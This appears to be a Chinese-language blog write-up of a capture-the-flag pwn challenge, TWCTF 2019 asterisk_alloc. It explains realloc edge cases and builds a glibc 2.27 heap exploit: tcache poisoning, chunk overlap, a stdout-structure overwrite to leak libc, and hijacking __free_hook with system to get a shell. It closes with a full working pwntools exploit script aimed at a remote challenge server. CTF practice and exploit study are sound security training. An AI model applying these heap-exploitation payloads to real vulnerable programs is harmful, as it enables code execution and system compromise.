Loading... 这道题涉及到 `realloc` 的利用,还蛮新奇的,第一次接触。昨天晚上卡了一晚上没做出来,今天终于是解完了。 首先 `realloc` 在申请的空间不同时,行为也是不同的。我们记申请的大小为 Nsize,ptr 指向的堆块的大小为 Osize,那么在调用 `realloc(ptr,Nsize)` 时有以下几种情况 * `Nsize == 0` 此时等同于 `free`,且返回值为 0 * `Nsize < Osize` 切割原 chunk,讲多余部分 `free` 掉 * `Nsize == Osize` 不做操作 * `Nsize > Osize` 尽可能地尝试通过后向合并(包括 Tcache 这样的一般不会被合并的 chunk)来满足申请,如果通过后向合并可以满足 Nsize,则**进行合并**并返回原指针;否则会新 `malloc` 一个 Nsize 的 chunk,将原 chunk 的数据拷贝至新 chunk,`free` 掉原 chunk(注意这种情况下**不会后向合并**) * `Nsize = -1` 也就是申请一个机器无法分配的大小,由于我没有看源码,不知道实际行为如何,但是通过调试得到的结论为返回 0,且不会对 ptr 原指向的 chunk 进行 `free` 本题的漏洞很明显,主要是 `double free`,又是 2.27 版本的 libc,通过 `Tcache poisoning` 可以很容易地劫持各种 hook,那么主要的问题就在于如何 leak libc,程序本身没有输出的功能,据说这个时候要 leak 的话基本就是要攻击 `_IO_FILE` 了。原理是 `main_arena` 和 `_IO_2_1_stdout_` 低二字节相同,通过爆破四位就可以分配到 `_IO_2_1_stdout_` 上,然后可以修改其 `flag` 和 `_IO_write_base` 来实现输出。 第一步要塞满 `Tcache` 并获得一个 `Unsorted Bin`,并且要能实现对该 `Unsorted Bin`的 `fd` 的修改。本来的话用 `malloc` 可以容易地解决,但是本题 `malloc` 只能用一次,所以还是要通过灵活使用 `realloc` 来实现。具体方法为 * 通过 `realloc` 申请并释放三个大小不同的 chunk,记作 A B C。 * 将 B 申请回来,`free` 七次,填满 `Tcache` * 通过 `realloc(0)` 实现一次释放和指针置零,此时 B 进入 `Unsorted bin` 中(C 存在的目的是为了防止 这里 top_chunk 的合并) * 通过 `realloc` 申请回 A(如果上一次不使用 `realloc(0)` 而是直接 `free` 这里就无法申请回 A 了) * 通过 `realloc` 扩展 A,将 B 合并,实现 `chunk overlapping`,此时我们拥有了对 B 的 UAF 的能力,考虑写 B 的 `fd`,由于 B 是 `Unsorted bin` 的尾节点 `fd` 会指向 `main_arena + 96`,我们写 `fd` 的低二字节,让 `fd` 指向 `_IO_2_1_stdout_`。由于我们只能使用 `realloc` 和 一个指针来多次分配申请,所以这里还需要改写 B 的 `size` 域,保证之后清空指针的时候 B 不会进入我们 `poisoning` 的链中,只要把 `size` 改成一个乱七八糟的值就行了。 * 申请 `size(B)`,`realloc(0)` * 再次申请,此时就获得了一个在 `_IO_2_1_stdout_` 的 chunk 了。 也就是下面这样 ``` realloc(0x10,'\n') realloc(0,'') realloc(0x80,'\n') realloc(0,'') realloc(0x20,'\n') realloc(0,'') realloc(0x80,'\n') for i in range(7): free_r() realloc(0,'')#free to unsorted_bin realloc(0x10,'\n') overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF) realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte) realloc(0,'') realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF)) realloc(0,'') realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps ``` 注意对 `_IO_2_1_stdout_` 的改写,需要把 `flag` 改写为 `0xfbad1887`,这样之后调用 `write` 的时候就会输出从 `_IO_write_base` 到 `_IO_write_ptr` 中的数据了。那么我们在改写 `flag` 的同时改写 `_IO_write_base`,让它指向 `_IO_write_base` 原指向的位置附近的一个存有 libc 地址的空间就可以实现 leak 了。这里我选择让它指向 `_IO_file_jumps`。 实现 leak 之后就是重来一次 `Tcache poisoning`,分配到 `__free_hook` 上写 `system` getshell。这里又会比较麻烦,因为当前分配到的是一个显然不合法的 chunk,如果 `free` 的话必然报错,所以就需要 `realloc(-1)` 来避免 `free` 并置空指针,之后的操作和之前一样,只要改变 A B C 的大小就基本可以照抄之前的方法了。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * import struct #sh = process("./TWCTF_online_2019_asterisk_alloc") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") sh = remote("node3.buuoj.cn",29556) libc = ELF("./libcs/libc-2.27-buu.so") def malloc(size,payload): sh.sendlineafter("choice: ",'1') sh.sendlineafter("Size: ",str(size)) sh.sendafter("Data: ",payload) def calloc(size,payload): sh.sendlineafter("choice: ",'2') sh.sendlineafter("Size: ",str(size)) sh.sendafter("Data: ",payload) def realloc(size,payload): sh.sendlineafter("choice: ",'3') sh.sendlineafter("Size: ",str(size)) sh.sendafter("Data: ",payload) def free_m(): sh.sendlineafter("choice: ",'4') sh.sendlineafter("Which: ",'m') def free_c(): sh.sendlineafter("choice: ",'4') sh.sendlineafter("Which: ",'c') def free_r(): sh.sendlineafter("choice: ",'4') sh.sendlineafter("Which: ",'r') realloc(0x10,'\n') realloc(0,'') realloc(0x80,'\n') realloc(0,'') realloc(0x20,'\n') realloc(0,'') realloc(0x80,'\n') for i in range(7): free_r() realloc(0,'')#free to unsorted_bin realloc(0x10,'\n') overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF) realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte) realloc(0,'') realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF)) realloc(0,'') realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"] log.success("libc_base:" + hex(libc_base)) free_hook = libc_base + libc.symbols["__free_hook"] system_addr = libc_base + libc.symbols["system"] sh.sendline("100")#pass realloc(-1,'\n')#set ptr=0 without free realloc(0xC0,'\n') realloc(0,'') realloc(0xD0,'\n') realloc(0,'') realloc(0xE0,'\n') realloc(0,'') realloc(0xD0,'\n') for i in range(7): free_r() realloc(0,'')#free to unsorted_bin realloc(0xC0,'\n') realloc(0xC0 + 0x10 + 0xD0,'a' * 0xC0 + p64(0) + p64(0x61) + p64(free_hook - 8)) realloc(0,'') realloc(0xD0,p64(free_hook - 8)) realloc(0,'') realloc(0xD0,'/bin/sh\x00' + p64(system_addr)) free_r() sh.interactive() ``` 最后修改:2021 年 04 月 10 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧